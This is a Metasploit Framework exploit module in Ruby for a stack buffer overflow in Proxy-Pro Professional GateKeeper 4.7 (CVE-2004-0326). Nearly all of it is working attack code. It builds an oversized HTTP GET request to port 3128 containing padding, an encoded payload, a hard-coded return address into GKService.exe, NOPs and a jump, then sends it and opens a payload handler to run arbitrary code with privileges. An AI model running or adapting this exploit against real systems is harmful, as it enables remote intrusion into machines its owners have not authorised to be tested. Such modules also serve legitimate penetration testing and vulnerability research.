Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Proxy-Pro Professional  
GateKeeper 4.7. By sending a long HTTP GET to the default port  
of 3128, a remote attacker could overflow a buffer and execute  
arbitrary code.  
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[   
['CVE', '2004-0326'],   
['OSVDB', '4027'],  
['BID', '9716'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00+&=%\x0a\x0d\x20",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
  
'Targets' =>  
[  
[ 'Proxy-Pro GateKeeper 4.7', { 'Ret' => 0x03b1e121 } ], # GKService.exe  
],  
  
'Privileged' => true,  
  
'DisclosureDate' => 'Feb 23 2004',  
  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(3128)  
], self.class)  
end  
  
def exploit  
connect  
  
print_status("Trying target #{target.name}...")  
  
sploit = "GET /" + rand_text_english(3603, payload_badchars)   
sploit += payload.encoded + [target.ret].pack('V') + make_nops(10)   
sploit += "\xe9" + [-497].pack('V') + " HTTP/1.0" + "\r\n\r\n"   
  
sock.put(sploit)  
sock.get_once(-1, 3)  
  
handler  
disconnect  
end  
  
end  
`